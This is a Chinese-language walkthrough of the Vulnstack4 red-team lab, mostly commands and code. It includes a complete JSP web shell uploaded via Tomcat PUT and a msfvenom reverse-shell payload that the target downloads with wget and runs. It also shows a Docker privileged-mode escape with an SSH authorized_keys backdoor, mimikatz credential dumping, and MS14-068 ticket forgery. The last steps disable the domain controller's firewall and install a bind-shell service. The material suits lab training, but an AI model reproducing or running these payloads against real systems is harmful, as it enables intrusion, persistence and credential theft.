红队环境(Vulnstack4)

环境下载地址

红队靶场 Vlunstack 4 的打靶记录

http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
涉及到的内容:

st漏洞利用

phpmyadmin getshell

tomcat 漏洞利用

docker逃逸

ms14-068

ssh密钥利用

流量转发

历史命令信息泄露

域渗透

第一个shell

目标端口探测

1
nmap -sC -T4 -sV <target>

寻找漏洞

1
2
searchsploit <服务名> <版本号>  //搜索该服务指定版本的漏洞
searchsploit -m <路径> // 将利用脚本移动到当前目录

利用漏洞

1
2
3
4
struts 2
tomcat
phpmyadmin
三选一

利用tomcat

1
2
3
4
5
// -F "file=@{FILE_NAME}" 指定上传文件
curl -v -X PUT -F "file=@shell.jsp" 192.168.0.105:2002/shell.jsp/

//或者searchsploit
python3 42966.py -u http://192.168.0.105:2002/ -p pwn

shell.jsp内容如下:

1
<%@ page import="java.util.*,java.io.*,java.net.*"%><%%><HTML><BODY><FORM METHOD="POST" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><%if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "\n<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }%></pre></BODY></HTML>

proc目录详解

获得高级shell

目的:为了方便后渗透集成化操作

操作方式:

生成msf马

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=193.122.122.123 LPORT=4444 -f elf > shell.elf

开启http服务提供下载

1
python3 -m http.servers 8080

利用之前上传的shell.jsp执行wget命令下载开启监听然后执行

1
2
3
wget http://192.168.0.108:8000/shell.elf
chmod 777 shell.elf
./shell.elf

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
getuid # 查看权限
ifconfig # 查看网络配置
fidsk -l # 查看硬盘
拿到主机权限后要进行主机的信息收集
uname -a # 获取所有版本信息
uname -m # 获取Linux内核架构
cat /proc/version # 获取内核信息
cat /etc/*-release # 发布信息
cat /etc/issue # 发布信息
hostname # 获取主机名
cat /etc/passwd # 列出系统所有用户
cat /etc/group # 列出系统所有组
w # 查看目前登录的用户
whoami # 查看当前用户
id # 查看当前用户信息
sudo -l # 列出目前用户可执行与无法执行的指令
ps aux # 查看进程信息
ls -la /etc/cron* # 查看计划任务
ifconfig -a # 列出网络接口信息
cat /etc/network/interfaces # 列出网络接口信息
arp -a # 查看系统arp表
route # 打印路由信息
netstat -anplt # 打印本地端口开放信息
iptables -L # 列出iptable的配置规则

常见提权:
sudo
脏牛

持久化

1
meterpreter>run persistence -h

通过ifconfig推测为docker虚拟机,查看cgroup确认是docker

1
cat /proc/self/cgroup

第二个shell

尝试docker逃逸

相关文档

尝试1

CVE-2019-5736-POC缺点是需要等待管理员重启

1
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

尝试2

利用–privileged特权模式逃逸

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

查看ls /dev看到/dev目录会发现很多设备文件

截图

首先我们现在docker中新建一个/hack目录用来挂载文件:

1
2
mkdir /zain
mount /dev/sda1 /zain

ls /zain成功挂载,此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的

写入密钥

本地在当前目录生成ssh密钥:

1
ssh-keygen -f backdoor

前面说了,将sda1挂载成功,我们就可以通过访问容器内部的/zain路径来达到访问整个宿主机的目的,比如我们访问/zain/home目录也就是访问宿主机的/home目录,接下来将密钥写入目标机:

1
2
cd /zain/home/ubuntu
ls -alh

我们看见了一个.ssh目录,我们也就是要将ssh秘钥写入到.ssh目录里面并将文件命名为authorized_keys(目标机.ssh目录权限必须为700)

1
2
3
cp -avx /zain/home/ubuntu/.ssh/id_rsa.pub /zain/home/ubuntu/.ssh/authorized_keys # -avx是将权限也一起复制
echo > /zain/home/ubuntu/.ssh/authorized_keys # 清空authorized_keys文件
echo '生成的.pub文件的内容' > /zain/home/ubuntu/.ssh/authorized_keys # 将ssh秘钥写入authorized_keys文件

查看密钥是否写入成功

1
cat /zain/home/ubuntu/.ssh/authorized_keys

此时,就可以利用自己的私钥进行免密登陆目标宿主机了:

1
ssh -i backdoor ubuntu@192.168.2.186

此时边界机器已经被拿下

信息收集

发现存在内网网段

截图

再次下载之前生成的木马,反弹一个meterpreter回来:

1
2
3
wget http://192.168.0.108:8000/shell.elf
chmod 777 shell.elf
nohup ./shell.elf &

获取shell后信息收集:

1
2
route # 查看路由信息
arp # 查看arp缓存

截图

横向

添加路由

1
2
3
4
5
6
7
8
# 全局加路由
route add 192.168.183.0 255.255.255.0
# meterpreter shell加路由
run autoroute -s 192.168.183.0/24
# 查看路由信息
run autoroute -p

# 此时仅msf可以进内网

在实际的内网渗透中,我们可以直接添加到 0.0.0.0/0 的路由。这样,只要该被控主机可达的地址就都可达

1
2
3
db_nmap -sT -Pn 192.168.183.129
db_nmap -sT -Pn 192.168.183.130
services

创建代理

1
2
3
use auxiliary/server/socks_proxy
# srvhost 默认0.0.0.0就是监听本机了
# 端口一般默认1080

此时通过本机的1080就可以走msf建立的通道访问到内网的服务了

编辑本地代理服务:

1
2
vim /etc/proxychains.conf
# 修改为msf代理监听的端口

扫描

1
2
3
proxychains4 nmap -Pn -sT 192.168.183.129
# -sT tcp扫描
# -Pn 跳过主机发现

截图

截图

截图

扫描永恒之蓝漏洞

1
2
search ms17-010
check 192.168.183.129-130

截图

此时需要建立代理来打:

方法1

ew容易出现超时不操作就会自动断开的问题,这里推荐一款工具chisel

chisel下载地址

在目标web服务器上传chisel_for_linux64,然后执行:

1
./chisel_for_linux64 server -p 2333 --socks5

攻击机执行:

1
./chisel_for_linux64 client 192.168.2.186:2333 sock

选择ms17-010

1
2
3
4
5
setg Proxies socks5:[ip]:[端口]设置代理
set payload windows/x64/meterpreter/bind_tcp //正向连接
set port 4444
set rhost 192.168.183.136
set AutoRunScript post/windows/manage/migrate //自动迁移进程

方法2(推荐)

1
proxychains msfconsole //新建一个代理中的msfconsole(因为是在公网的vps上开的代理,所以可以在内网机器中开)

截图

成功,而且很稳定

截图

但是没法获取交互式shell,只能在meterpreter shell中操作,如果想获取交互式shell,则需要创建后门,然后通过代理正向连接后门:

meterpreter> run persistence -i 10 -X -p 4000 -P windows/meterpreter/bind_tcp


msf> use exploit/multi/handle

msf> set payload windows/meterpreter/bind_tcp

msf> set rhost 192.168.183.145

msf> set lport 4000

msf> setg proxies socks5:127.0.0.1:1080

msf> run

降权

因为在域中,不是域用户没有权限执行域命令,所以需要降权

1
2
3
4
5
getuid #查看当前token
use incognito #加载incognito
list_tokens -u #列出AccessToken
impersonate_token "DEMO\douser" #模拟DEMO\douser用户
rev2self #返回到之前的AccessToken权限(降到DEMO\douser)

域内信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ipconfig /all 查看本机ip,所在域 
route print 打印路由信息
net view 查看局域网内其他主机名
arp -a 查看arp缓存
whoami
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" 建立c盘共享
dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
net group "doamin controllers" /domain 查看域控制器(可能有多台)

利用ms14-067攻击域控

抓取密码

1
2
3
4
5
6
meterpreter> upload mimikatz.exe #上传mimikatz
meterpreter> getsystem #提权至system
meterpreter> shell #获取系统交互shell
>mimikatz.exe #运行mimikatz
mimikatz # privilege::debug #启用调试模式
mimikatz # sekurlsa::logonpasswords #抓取密码和账户信息

利用ms14-068生成票据

ms14-068.exe -u 域成员名-s 域成员sid -d 域控制器ip地址 -p 域成员密码

mimikatz注入票据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc <生成的票据文件> //将票据注入到内存中

利用/验证
> net use \\win-ens2vr5tr3n(域控机器名)
> dir \\win-ens2vr5tr3n\c$ (列出c盘)
> copy c:\windows\system32\bind.exe \\WIN-ENS2VR5TR3N\c$ (上传木马)

关闭防火墙
> sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"sc \\WIN-ENS2VR5TR3N start unablefirewall
> sc \\WIN-ENS2VR5TR3N start unablefirewall

创建msf马
> sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
> sc \\WIN-ENS2VR5TR3N start bindshell

截图

上传mimikatz抓取密码